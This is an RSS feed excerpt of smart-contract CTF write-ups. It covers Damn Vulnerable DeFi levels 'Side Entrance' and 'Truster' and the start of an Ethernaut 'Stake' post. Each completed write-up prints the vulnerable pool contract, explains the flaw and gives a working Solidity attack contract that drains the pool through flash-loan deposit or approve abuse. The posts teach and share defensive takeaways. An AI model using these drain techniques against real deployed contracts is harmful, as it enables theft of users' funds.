import "solady/src/utils/SafeTra...]]></description><link>https://blog.pedrojok.com/damn-vulnerable-defi-4-side-entrance</link><guid isPermaLink="true">https://blog.pedrojok.com/damn-vulnerable-defi-4-side-entrance</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Sun, 14 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714365383471/d412d7db-4d24-4ef2-b7e4-19a284ec77c6.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p>In the <strong>Side Entrance</strong> challenge, we have to steal all the ETH from the pool. Flashloans are free, and we start with 1 ETH.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714365478626/f405edc0-1136-4421-93cd-14ce166ab0b6.png" alt class="image--center mx-auto" /></p>
<p><a target="_blank" href="https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0/contracts/side-entrance">See the contracts</a></p>
<h2 id="heading-the-contracts">The Contracts</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"solady/src/utils/SafeTransferLib.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IFlashLoanEtherReceiver</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">execute</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>;
}

<span class="hljs-comment">/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SideEntranceLenderPool</span> </span>{
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">private</span> balances;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">RepayFailed</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">Deposit</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> who, <span class="hljs-keyword">uint256</span> amount</span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">Withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> who, <span class="hljs-keyword">uint256</span> amount</span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">unchecked</span> {
            balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        }
        <span class="hljs-keyword">emit</span> Deposit(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];

        <span class="hljs-keyword">delete</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
        <span class="hljs-keyword">emit</span> Withdraw(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount);

        SafeTransferLib.safeTransferETH(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;

        IFlashLoanEtherReceiver(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>).execute{<span class="hljs-built_in">value</span>: amount}();

        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&lt;</span> balanceBefore)
            <span class="hljs-keyword">revert</span> RepayFailed();
    }
}
</code></pre>
<p>Ok, another flash loan pool to hack here. The <code>SideEntranceLenderPool</code> contract is fairly short with only 3 functions: <code>deposit()</code>, <code>withdraw()</code>, and <code>flashloan()</code>.</p>
<p>The contract inherits the <code>SafeTransferLib</code> from <a target="_blank" href="https://github.com/Vectorized/solady">Solady</a>.</p>
<h2 id="heading-the-hack">The Hack</h2>
<p>This is a funny one, nothing complicated, no need to craft complex calldata and play with memory pointers, it is all about visualizing each step and the money flow.</p>
<p>Let's detail the 3 functions that we have at our disposal.</p>
<p>The <code>deposit()</code> function is pretty straightforward, it increases the balance of <code>msg.sender</code> by <code>msg.value</code> and emits an event.</p>
<pre><code class="lang-solidity">    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">unchecked</span> {
            balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        }
        <span class="hljs-keyword">emit</span> Deposit(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
    }
</code></pre>
<p>Unsurprisingly, the <code>withdraw()</code> function works the way around, sending back the whole balance to <code>msg.sender</code>. The CEI is respected, the transfer is made via the <code>safeTransferETH()</code> function, and an event is emitted. Looks pretty solid.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];

        <span class="hljs-keyword">delete</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
        <span class="hljs-keyword">emit</span> Withdraw(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount);

        SafeTransferLib.safeTransferETH(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount);
    }
</code></pre>
<p>Last one, the <code>flashloan()</code> function which allows us to borrow an arbitrary amount from the pool:</p>
<pre><code class="lang-solidity">    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;

        IFlashLoanEtherReceiver(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>).execute{<span class="hljs-built_in">value</span>: amount}();

        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&lt;</span> balanceBefore)
            <span class="hljs-keyword">revert</span> RepayFailed();
    }
</code></pre>
<p>The balance before is checked, and compared with the balance after. It is calling the <code>execute()</code> function as a callback to the flash loan receiver.</p>
<p>So, have you found the exploit yet?</p>
<p>Let's say that we request a flashloan for the total amount of ether in the pool. What could we do next? How could we drain this pool?</p>
<p>We will have to repay the loan somehow, because of the following check: <code>if (address(this).balance &lt; balanceBefore) revert RepayFailed()</code>. But this check simply makes sure the contract's balance is equal to the contract's balance before the loan. What if we use the <code>execute()</code> callback to deposit the whole amount back via the <code>deposit()</code> function?</p>
<p>The <code>RepayFailed()</code> won't be triggered since the ETH will effectively be back to the contract. However, our balance will now be equal to the pool's balance! So after repaying the flashloan, we will just have to use the <code>withdraw()</code> function to get rich!</p>
<h2 id="heading-solution">Solution</h2>
<p>Let's implement the <strong>Side Entrance</strong> solution accordingly. We can craft a contract that will handle the logic as follows:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.16;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IPool</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack4</span> </span>{
    IPool <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> pool;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> player;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _pool, <span class="hljs-keyword">address</span> _player</span>) </span>{
        pool <span class="hljs-operator">=</span> IPool(_pool);
        player <span class="hljs-operator">=</span> _player;
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        pool.flashLoan(<span class="hljs-keyword">address</span>(pool).<span class="hljs-built_in">balance</span>);
        pool.withdraw();
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> player.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Eth transfer failed"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">execute</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        pool.deposit{<span class="hljs-built_in">value</span>: <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>}();
    }
}
</code></pre>
<p>When the <code>SideEntranceLenderPool</code> will call the <code>execute()</code> function in our malicious contract, it will call the <code>deposit()</code> function back with the whole loan amount and complete the flashloan.</p>
<p>Next, we have to edit the <code>side-entrance.challenge.js</code> page so it will deploy our contract and launch the attack:</p>
<pre><code class="lang-solidity">it(<span class="hljs-string">"Execution"</span>, async <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>

    const Attack4 <span class="hljs-operator">=</span> await ethers.getContractFactory(<span class="hljs-string">"Attack4"</span>, deployer);
    const attack4 <span class="hljs-operator">=</span> await Attack4.deploy(pool.<span class="hljs-built_in">address</span>, player.<span class="hljs-built_in">address</span>);
    await attack4.attack();
  });
</code></pre>
<p>Finally, we can run the test with the following command:</p>
<pre><code class="lang-solidity">yarn side<span class="hljs-operator">-</span>entrance
</code></pre>
<p>And we get the following printed in the terminal:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714367470995/8731ba7c-7ea8-44fc-8bf5-580ecbf0f025.png" alt class="image--center mx-auto" /></p>
<p>Congrats! You just beat the level 4 - Side Entrance - of Damn Vulnerable DeFi.</p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>Making your contract work is not enough. It is crucial to look and account for all edge cases.</p>
</li>
<li><p>The <code>nonReentrant()</code> modifier could have been used on all 3 functions to prevent any kind of reentrancy. Better safe than sorry!</p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions">https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions</a></p>
]]></content:encoded></item><item><title><![CDATA[Damn Vulnerable DeFi | 3 - Truster]]></title><description><![CDATA[Goals
In the Truster challenge, we have to drain 1 million DVT tokens from the flash loan pool. So pretty high stakes! Let's see how to achieve that.

See the contracts
The Contracts
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@o...]]></description><link>https://blog.pedrojok.com/damn-vulnerable-defi-3-truster</link><guid isPermaLink="true">https://blog.pedrojok.com/damn-vulnerable-defi-3-truster</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Sat, 13 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714288298285/a32ebb96-677a-4ca6-b212-5944ee09bcc3.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p>In the Truster challenge, we have to drain 1 million DVT tokens from the flash loan pool. So pretty high stakes! Let's see how to achieve that.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714288452251/fae8acfe-0339-4676-8f43-6bd2c2fffb24.png" alt /></p>
<p><a target="_blank" href="https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0/contracts/naive-receiver">See the contracts</a></p>
<h2 id="heading-the-contracts">The Contracts</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/utils/Address.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/security/ReentrancyGuard.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../DamnValuableToken.sol"</span>;

<span class="hljs-comment">/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TrusterLenderPool</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ReentrancyGuard</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">Address</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">address</span></span>;

    DamnValuableToken <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> token;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">RepayFailed</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">DamnValuableToken _token</span>) </span>{
        token <span class="hljs-operator">=</span> _token;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount, <span class="hljs-keyword">address</span> borrower, <span class="hljs-keyword">address</span> target, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data</span>)
        <span class="hljs-title"><span class="hljs-keyword">external</span></span>
        <span class="hljs-title">nonReentrant</span>
        <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)
    </span>{
        <span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));

        token.<span class="hljs-built_in">transfer</span>(borrower, amount);
        target.functionCall(data);

        <span class="hljs-keyword">if</span> (token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-operator">&lt;</span> balanceBefore)
            <span class="hljs-keyword">revert</span> RepayFailed();

        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
}
</code></pre>
<p>A much shorter code base this time!</p>
<p>Let's note that the contract inherits from <code>Address.sol</code> and <code>ReentrancyGuard.sol</code> from the OpenZeppelin library, so most likely nothing to exploit there. It also inherits from the <code>DamnValuableToken.sol</code> which is a very basic ERC20 token based on the solmate library.</p>
<h2 id="heading-the-hack">The Hack</h2>
<p>There is only one function in the <code>TrusterLenderPool</code> contract, so it seems quite fair to start there! What is happening exactly in the <code>flashloan()</code> function, and what could go wrong?</p>
<pre><code class="lang-javascript">    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">uint256 amount, address borrower, address target, bytes calldata data</span>)
        <span class="hljs-title">external</span>
        <span class="hljs-title">nonReentrant</span>
        <span class="hljs-title">returns</span> (<span class="hljs-params">bool</span>)
    </span>{
        uint256 balanceBefore = token.balanceOf(address(<span class="hljs-built_in">this</span>));

        token.transfer(borrower, amount);
        target.functionCall(data);

        <span class="hljs-keyword">if</span> (token.balanceOf(address(<span class="hljs-built_in">this</span>)) &lt; balanceBefore)
            revert RepayFailed();

        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
</code></pre>
<p>While the function does check the balance before and make sure the loan is repaid, the first thing that jumps out is THE LACK OF INPUTS VALIDATION! It is the third challenge in a row with the same mistake, so we most likely want to keep that in mind...</p>
<p>There really is only one interesting line here:</p>
<pre><code class="lang-javascript">target.functionCall(data);
</code></pre>
<p>The <code>functionCall()</code> method comes from the inherited <code>Address</code> contract. Here it is for reference:</p>
<pre><code class="lang-solidity"> <span class="hljs-comment">/**
     * @dev Performs a Solidity function call using a low-level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {Errors.FailedCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">functionCall</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> target, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">return</span> functionCallWithValue(target, data, <span class="hljs-number">0</span>);
    }
</code></pre>
<p>So what does it mean? What exactly can we do with that?</p>
<p>It means that we can make an external call to the <code>target</code> address with some custom data input. And it happens that our <code>target</code> address containing our 1 million DVT chest is this lending pool. So we are allowed to execute any function within the <code>TrusterLenderPool</code> context... which includes the inherited contract.</p>
<p>A decent knowledge of the ERC20 token standard is needed for what comes next. The ERC20 standard defines 2 ways to transfer tokens from one address to another:</p>
<ol>
<li><p><code>transfer(address to, uint256 value)</code> allows to move token that you own directly;</p>
</li>
<li><p><code>transferFrom(address from, address to, uint256 value)</code> allows another address to move your tokens on your behalf. Since this is obviously dangerous, it requires an approval before the transfer can be executed.</p>
</li>
</ol>
<blockquote>
<p>When you do a token swap on <a target="_blank" href="https://uniswap.org/">Uniswap</a>, you approve the Uniswap contract to execute the swap on your behalf and grab the tokens in your wallet.</p>
</blockquote>
<p>In other words, we do not really need the loan to empty the Truster pool, we can't bypass the balance before/after checks anyway. However, we can use the data arguments to approve a malicious contract, and then trigger a <code>transferFrom()</code> to drain the pool!</p>
<h2 id="heading-solution">Solution</h2>
<p>Let's implement the <strong>Truster</strong> solution accordingly. We can craft a contract that will handle the logic as follows:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.16;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IPool</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">address</span> borrower,
        <span class="hljs-keyword">address</span> target,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IToken</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferFrom</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> sender,
        <span class="hljs-keyword">address</span> recipient,
        <span class="hljs-keyword">uint256</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack3</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> pool;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> player;
    IToken <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> token;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _pool, <span class="hljs-keyword">address</span> _player, <span class="hljs-keyword">address</span> _token</span>) </span>{
        pool <span class="hljs-operator">=</span> _pool;
        player <span class="hljs-operator">=</span> _player;
        token <span class="hljs-operator">=</span> IToken(_token);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> balance <span class="hljs-operator">=</span> token.balanceOf(pool);

        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(
            <span class="hljs-string">"approve(address,uint256)"</span>,
            <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
            balance
        );

        IPool(pool).flashLoan(<span class="hljs-number">0</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-keyword">address</span>(token), data);
        token.transferFrom(pool, player, balance);
    }
}
</code></pre>
<p>And edit the <code>truster.challenge.js</code> page as follows:</p>
<pre><code class="lang-javascript">it(<span class="hljs-string">"Execution"</span>, <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>

    <span class="hljs-keyword">const</span> Attack3 = <span class="hljs-keyword">await</span> ethers.getContractFactory(<span class="hljs-string">"Attack3"</span>, deployer);
    <span class="hljs-keyword">const</span> attack3 = <span class="hljs-keyword">await</span> Attack3.deploy(
      pool.address,
      player.address,
      token.address
    );

    <span class="hljs-keyword">await</span> attack3.attack();
  });
</code></pre>
<p>Then we can run the test with the following command:</p>
<pre><code class="lang-bash">yarn truster
</code></pre>
<p>And we get the following printed in the terminal:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714299011763/a9f660af-65a5-4af0-b594-3ce40b1001aa.png" alt /></p>
<p>Congrats! You just beat the level 3 of Damn Vulnerable DeFi.</p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>Always validate all sensitive inputs before executing any logic (I think I already mentioned that in the previous challenge though...).</p>
</li>
<li><p>Disable 0 amount.</p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions">https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 31 - Stake]]></title><description><![CDATA[Goals

The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Stake {
    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

   ...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-31-stake</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-31-stake</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Fri, 12 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714106215700/0b58820f-5612-4d0e-b991-2dfe35ab60d1.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/31-stake-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/31-stake-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Stake</span> </span>{
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> totalStaked;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> UserStake;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">bool</span>) <span class="hljs-keyword">public</span> Stakers;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> WETH;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _weth</span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        totalStaked <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
        WETH <span class="hljs-operator">=</span> _weth;
    }

